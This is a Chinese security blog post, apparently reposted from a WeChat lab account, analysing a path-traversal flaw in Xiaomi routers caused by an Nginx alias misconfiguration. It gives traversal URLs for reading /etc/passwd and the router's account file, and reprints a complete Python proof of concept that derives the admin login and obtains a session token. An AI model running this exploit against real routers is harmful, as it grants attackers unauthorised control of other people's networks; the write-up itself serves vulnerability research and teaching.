漏洞分析 | 小米路由器的未授权访问

admin 2025年2月26日13:40:40评论34 views字数 2124阅读7分4秒阅读模式

漏洞分析 | 小米路由器的未授权访问

Mi-RouTer
01
漏洞产生

小米路由器由于Nginx的配置文件,没有配置好,存在一个目录穿越的漏洞。

在Nginx当中存在该漏洞,配置如下:

漏洞分析 | 小米路由器的未授权访问
location /xxx {
alias /abc/;
}
02
漏洞利用

如此配置,攻击者可通过

Url:http://ip/xxx../etc/passwd 

来读取到/etc/passwd 文件

而在小米路由器当中的Nginx配置危机为:

漏洞分析 | 小米路由器的未授权访问
location /api-third-party/download/extdisks {
alias /extdisks/;
}

那可以通过

Url:http://ip/api-third-party/download/extdisks../etc/passwd 

来读取到/etc/passwd文件

漏洞分析 | 小米路由器的未授权访问

漏洞分析 | 小米路由器的未授权访问

漏洞分析 | 小米路由器的未授权访问

接下来我们在登陆页面能直接看到它把password加密的函数写在这里

漏洞分析 | 小米路由器的未授权访问

漏洞分析 | 小米路由器的未授权访问

在查看一下它登陆的时候要传的参数,有4个参数,通过不同PC的登陆抓包分析,发现会变的只有:password与nonce的值

漏洞分析 | 小米路由器的未授权访问

漏洞分析 | 小米路由器的未授权访问

漏洞分析 | 小米路由器的未授权访问

在这里我们重点分一下它的加密原理,重点是看oldPwd与nonce

漏洞分析 | 小米路由器的未授权访问

漏洞分析 | 小米路由器的未授权访问

在nonceCreat当中deviceID是网页所绑定每个用户的地址

漏洞分析 | 小米路由器的未授权访问

漏洞分析 | 小米路由器的未授权访问

然后经过进一步的分析,这里可以参考学习一下文献资料:https://www.seebug.org/vuldb/ssvid-98122

漏洞分析 | 小米路由器的未授权访问

漏洞分析 | 小米路由器的未授权访问

然后就能很清楚的,我们利用python来写出脚本帮助我们快速解决:这里先学习一下大佬的poc

漏洞分析 | 小米路由器的未授权访问
import os
import re
import time
import base64
import random
import hashlib
import requests
from Crypto.Cipher import AES

# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}

def get_mac():
## get mac
r0 = requests.get("http://192.168.31.1/cgi-bin/luci/web", proxies=proxies)
mac = re.findall(r'deviceId = '(.*?)'', r0.text)[0]
# print(mac)
return mac

def get_account_str():
## read /etc/config/account
r1 = requests.get("http://192.168.31.1/api-third-party/download/extdisks../etc/config/account", proxies=proxies)
print(r1.text)
account_str = re.findall(r'admin'? '(.*)'', r1.text)[0]
return account_str

def create_nonce(mac):
type_ = 0
deviceId = mac
time_ = int(time.time())
rand = random.randint(0,10000)
return "%d_%s_%d_%d"%(type_, deviceId, time_, rand)

def calc_password(nonce, account_str):
m = hashlib.sha1()
m.update((nonce + account_str).encode('utf-8'))
return m.hexdigest()

mac = get_mac()
account_str = get_account_str()
## login, get stok
nonce = create_nonce(mac)
password = calc_password(nonce, account_str)
data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)
r2 = requests.post("http://192.168.31.1/cgi-bin/luci/api/xqsystem/login",
data = data,
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},
proxies=proxies)
# print(r2.text)
stok = re.findall(r'"token":"(.*?)"',r2.text)[0]
print("stok="+stok)

竟然已经获得了stok值,那我们将考虑一下如何登陆进入后台,这里我们使用自己的小米路由器进行测试,发现他是这样的url地址

漏洞分析 | 小米路由器的未授权访问

漏洞分析 | 小米路由器的未授权访问

然后呢就在大佬的脚本上,我们顺便改一点点!然后就可以如下图

漏洞分析 | 小米路由器的未授权访问

漏洞分析 | 小米路由器的未授权访问

漏洞分析 | 小米路由器的未授权访问

漏洞分析 | 小米路由器的未授权访问
需要的师傅们可以在公众号回复[Mi-RouTer]自取嗷

小编 | 小铠师傅

漏洞分析 | 小米路由器的未授权访问

原文始发于微信公众号(璇铠安全实验室):漏洞分析 | 小米路由器的未授权访问

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月26日13:40:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞分析 | 小米路由器的未授权访问https://cn-sec.com/archives/964546.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息